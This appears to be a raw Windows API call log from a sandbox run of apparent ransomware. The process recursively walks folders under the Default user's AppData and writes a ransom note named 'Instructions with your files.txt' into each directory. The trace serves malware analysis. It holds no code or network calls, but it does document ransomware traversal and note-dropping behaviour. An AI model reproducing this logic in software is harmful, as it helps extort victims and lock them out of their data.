[0132.242] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Instructions with your files.txt") returned 106
[0132.242] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.244] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.245] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.245] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.245] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.245] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.245] CloseHandle (hObject=0x11c) returned 1
[0132.245] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.245] GetProcessHeap () returned 0x810000
[0132.245] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.245] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0
[0132.245] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Instructions with your files.txt") returned 97
[0132.245] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.245] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.246] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.246] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.247] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.247] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.247] CloseHandle (hObject=0x118) returned 1
[0132.247] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.247] GetProcessHeap () returned 0x810000
[0132.247] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.247] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 0
[0132.247] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\Instructions with your files.txt") returned 80
[0132.247] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.247] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.248] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.248] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.248] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.248] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.248] CloseHandle (hObject=0x114) returned 1
[0132.248] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.249] GetProcessHeap () returned 0x810000
[0132.249] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.249] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
[0132.249] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Instructions with your files.txt") returned 70
[0132.249] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\locallow\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.249] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.250] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.250] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.250] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.250] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.250] CloseHandle (hObject=0x110) returned 1
[0132.250] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.250] GetProcessHeap () returned 0x810000
[0132.250] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.250] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1
[0132.250] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming") returned 36
[0132.250] GetProcessHeap () returned 0x810000
[0132.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.250] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\*") returned 38
[0132.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.251] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\.") returned 38
[0132.251] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.251] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\..") returned 39
[0132.251] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1
[0132.251] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities") returned 47
[0132.251] GetProcessHeap () returned 0x810000
[0132.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.251] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\*") returned 49
[0132.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\.") returned 49
[0132.252] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\..") returned 50
[0132.252] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1
[0132.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 86
[0132.252] GetProcessHeap () returned 0x810000
[0132.252] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.252] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned 88
[0132.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.252] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\.") returned 88
[0132.252] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.252] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\..") returned 89
[0132.252] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.253] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Instructions with your files.txt") returned 119
[0132.253] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.253] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.254] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.254] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.254] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.254] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.254] CloseHandle (hObject=0x118) returned 1
[0132.254] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.254] GetProcessHeap () returned 0x810000
[0132.255] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.255] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0
[0132.255] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\Instructions with your files.txt") returned 80
[0132.255] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Identities\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.255] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.256] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.256] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.256] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.256] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.256] CloseHandle (hObject=0x114) returned 1
[0132.256] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.256] GetProcessHeap () returned 0x810000
[0132.256] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.256] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0132.256] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned 46
[0132.256] GetProcessHeap () returned 0x810000
[0132.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.256] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*") returned 48
[0132.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.260] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\.") returned 48
[0132.260] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.260] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
